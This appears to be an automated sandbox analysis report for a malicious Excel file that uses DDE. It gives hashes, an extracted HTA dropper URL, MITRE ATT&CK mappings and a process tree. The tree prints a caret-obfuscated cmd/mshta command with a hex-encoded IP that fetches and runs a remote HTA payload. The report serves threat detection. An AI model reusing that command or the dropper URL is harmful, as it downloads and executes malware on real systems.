aacf84eae39e69f30102eb3bd92a25231fd6a4aa5383e3cb1576234b6764b825

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 12:12

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General

Target

aacf84eae39e69f30102eb3bd92a25231fd6a4aa5383e3cb1576234b6764b825.xls
Size

142KB
MD5

a1dd00cea711f5908071a51f80af933c
SHA1

bbbf2e794c8de4dd7dcec1076263528f7a6f0105
SHA256

aacf84eae39e69f30102eb3bd92a25231fd6a4aa5383e3cb1576234b6764b825
SHA512

b9b902f66e5c8b900e186d75fce0c1ca1a091118411dff7e463219a1194434f3794552146122583cc8003d9685e62dcced2c608e16d8f977d4e16053043b1d7b
SSDEEP

3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1960	2692	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2304	mshta.exe
7	2304	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2692	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2580	2692	EXCEL.EXE	30
PID 2692 wrote to memory of 2580	2692	EXCEL.EXE	30
PID 2692 wrote to memory of 2580	2692	EXCEL.EXE	30
PID 2692 wrote to memory of 2580	2692	EXCEL.EXE	30
PID 2692 wrote to memory of 1960	2692	EXCEL.EXE	31
PID 2692 wrote to memory of 1960	2692	EXCEL.EXE	31
PID 2692 wrote to memory of 1960	2692	EXCEL.EXE	31
PID 2692 wrote to memory of 1960	2692	EXCEL.EXE	31
PID 1960 wrote to memory of 2304	1960	cmd.exe	33
PID 1960 wrote to memory of 2304	1960	cmd.exe	33
PID 1960 wrote to memory of 2304	1960	cmd.exe	33
PID 1960 wrote to memory of 2304	1960	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\aacf84eae39e69f30102eb3bd92a25231fd6a4aa5383e3cb1576234b6764b825.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2692-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2692-1-0x0000000071F6D000-0x0000000071F78000-memory.dmp

Filesize
44KB

Download
memory/2692-2-0x0000000071F6D000-0x0000000071F78000-memory.dmp

Filesize
44KB

Download